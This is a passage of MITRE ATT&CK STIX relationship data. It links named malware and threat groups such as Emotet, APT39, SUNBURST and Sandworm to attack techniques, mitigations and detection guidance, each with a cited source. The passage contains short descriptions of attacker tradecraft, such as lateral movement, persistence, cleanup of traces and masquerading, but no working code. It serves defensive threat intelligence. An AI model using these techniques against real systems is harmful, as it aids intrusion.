8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T16:36:29.742Z","description":"[Emotet](https://attack.mitre.org/software/S0367) can extract names of all locally reachable Wi-Fi networks and then perform a brute-force attack to spread to new networks.(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe8bc44b-805d-440c-a447-96091033439d","type":"relationship","created":"2019-02-21T21:17:37.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2021-10-12T23:00:49.627Z","description":"[APT39](https://attack.mitre.org/groups/G0087) used secure shell (SSH) to move laterally among their targets.(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe8efec3-2ab4-497d-8e5a-b2340feddd8f","type":"relationship","created":"2020-07-01T21:05:18.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-10-16T20:26:31.631Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) can change browser security settings to enable extensions to be installed. [Bundlore](https://attack.mitre.org/software/S0482) uses the pkill cfprefsd command to prevent users from inspecting processes.(Citation: MacKeeper Bundlore Apr 2019)(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe8f4b79-9495-4e08-b14e-d2954f847c78","created":"2021-03-03T21:59:40.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.579Z","description":"Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nFurthermore, policies may enforce / install browser extensions that protect against IDN and homograph attacks. Browser password managers may also be configured to only populate credential fields when the URL matches that of the original, legitimate site. ","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe99ee01-a049-4867-bf3b-27d05461b0b3","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Calisto July 2018","description":"Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.","url":"https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T19:42:40.618Z","description":"[Calisto](https://attack.mitre.org/software/S0274) has the capability to add its own account to the victim's machine.(Citation: Symantec Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"modified":"2019-07-14T21:04:44.978Z","description":"Based on comparison of [Gazer](https://attack.mitre.org/software/S0168) versions, [Turla](https://attack.mitre.org/groups/G0010) made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.(Citation: ESET Gazer Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-05-03T16:44:41.817Z","description":"[Sys10](https://attack.mitre.org/software/S0060) collects the account name of the logged-in user and sends it to the C2.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--7f8730af-f683-423f-9ee1-5f6875a80481","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fea72867-7ceb-4545-b138-1cef9cac24ba","created":"2022-08-09T13:02:23.854Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Scan public code repositories for exposed credentials or other sensitive information before making commits. Ensure that any leaked credentials are removed from the commit history, not just the current latest version of the code.","modified":"2022-08-09T13:02:23.854Z","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fea9df26-2ff4-4fa4-8306-f10af6cdd7cd","created":"2021-01-04T20:42:22.252Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) uses heavily obfuscated code in its Windows Notepad backdoor.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--feb29d58-b733-47a4-9d56-8d45b36f0978","created":"2022-03-30T14:26:51.857Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Run-Time Memory Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with  [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file.\n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)","modified":"2022-04-20T12:32:55.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--feb5dda0-1300-4e5b-9372-7d6b4d5473f3","created":"2022-08-07T15:07:19.450Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) can use `cmd.exe` to execute commands on an infected host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:10:39.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--febaa044-5467-4393-bd13-2d096be02cf4","type":"relationship","created":"2020-03-02T20:07:18.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T20:07:18.718Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3","target_ref":"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--febbf503-d7e5-4896-90b9-35b6a811b19b","type":"relationship","created":"2018-01-16T21:43:14.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf","description":"Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.","source_name":"APT3 Adversary Emulation Plan"}],"modified":"2019-04-29T18:01:20.575Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has been known to remove indicators of compromise from tools.(Citation: APT3 Adversary Emulation Plan)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--febc7399-bbee-4a97-b5a1-d2d9cf5ba9fc","type":"relationship","created":"2021-10-08T14:20:51.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T14:20:51.422Z","description":"[IndigoZebra](https://attack.mitre.org/groups/G0136) has downloaded additional files and tools from its C2 server.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--febe1cf5-d8b5-4218-b32d-1e9ea10eab7f","created":"2021-09-08T17:40:26.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"},{"source_name":"Bitdefender FIN8 July 2021","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.649Z","description":"(Citation: Bitdefender FIN8 July 2021)(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fec13b81-c639-4eaa-8d9f-75043a02f46a","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor executed commands and arguments that may forge credential materials that can be used to gain access to web applications or Internet services.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fecb150a-6c94-4e57-80d3-d9e8caffffe1","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","external_references":[{"source_name":"Splunk Kovar Certificates 2017","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) , [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) , and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004) .","modified":"2022-04-20T12:55:02.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--1cec9319-743b-4840-bb65-431547bce82a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--feccb439-0a34-4224-ba12-62e11215d5a5","created":"2020-03-12T16:37:21.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"synack 2016 review","description":"Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.","url":"https://objective-see.org/blog/blog_0x16.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:18:40.403Z","description":"[Keydnap](https://attack.mitre.org/software/S0276) uses a Launch Agent to persist.(Citation: synack 2016 review)","relationship_type":"uses","source_ref":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--feccce31-b855-430b-a0f6-6e3a3eb41bf9","type":"relationship","created":"2020-10-01T02:06:11.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T02:06:11.541Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fed23938-8fbc-4b67-8452-f2f413eed291","type":"relationship","created":"2020-06-10T21:56:40.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T21:00:57.830Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has avoided detection by naming a malicious binary explorer.exe.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fed38133-26a9-44e3-b57d-9d415aaeaf84","created":"2022-10-18T23:36:14.941Z","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:36:14.941Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) removed HTTP proxy registry values to clean up traces of execution.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fed9f1de-bd5b-4715-ae70-ad457e89a988","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-03-30T02:18:19.182Z","description":"[iKitten](https://attack.mitre.org/software/S0278) adds an entry to the rc.common file for persistence.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fedcb717-2453-4c77-8f05-8a28f934725e","type":"relationship","created":"2021-03-03T20:22:59.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft HAFNIUM March 2020","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."}],"modified":"2021-03-03T20:22:59.518Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has operated from leased virtual private servers (VPS) in the United States.(Citation: Microsoft HAFNIUM March 2020)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fee0eb4c-b629-45ea-ae20-d8f037fd658e","created":"2022-10-04T22:02:03.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T22:02:44.937Z","description":"[SUGARUSH](https://attack.mitre.org/software/S1049) has used TCP for C2.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--44e2a842-415b-47f4-8549-83fbdb8a5674","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fee1306e-0a56-40c0-b3ea-ff0697c464a4","created":"2022-04-11T19:20:29.665Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) can clear the browser history on a compromised host by changing the `ClearBrowsingHistoryOnExit` value to 1 in the `HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Privacy` Registry key.(Citation: Microsoft NICKEL December 2021)\n\n","modified":"2022-04-11T19:20:29.665Z","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fee6aca0-dcb7-43b4-a253-66913620631a","type":"relationship","created":"2020-05-29T19:02:06.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}],"modified":"2020-06-15T22:05:43.295Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has executed commands using cmd.exe.(Citation: Trend Micro TA505 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fee82671-3bba-48c7-bef8-63b2b2bb0fa7","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia 